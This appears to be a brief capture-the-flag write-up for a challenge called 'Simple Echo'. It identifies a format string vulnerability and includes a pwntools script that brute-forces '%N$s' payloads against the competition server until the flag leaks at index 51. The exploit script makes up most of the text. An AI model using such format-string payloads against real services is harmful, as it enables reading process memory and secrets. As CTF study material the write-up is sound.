Simple Echo

A simple program to echo back user input. What could possibly go wrong?

1. Using GDB, look at main function. It simply takes a string as input and printfs it. Clearly a format string vulnerability.

2. Brute force:

   ```python from pwn import *

   for i in range(1, 100): try: p = remote('simple-echo.2024-bq.ctfcompetition.com', 1337) p.recvuntil(b'Type input to be echoed: ')

       payload = f'%{i}$s'.encode()
   
       p.sendline(payload)
       sleep(2)
       p.recvuntil(b'Echoed output: \n')
       op = p.recvline()
       print(op, "index:",i)
       p.close()
   except:
       pass
   

   ```

   We get the flag at index 51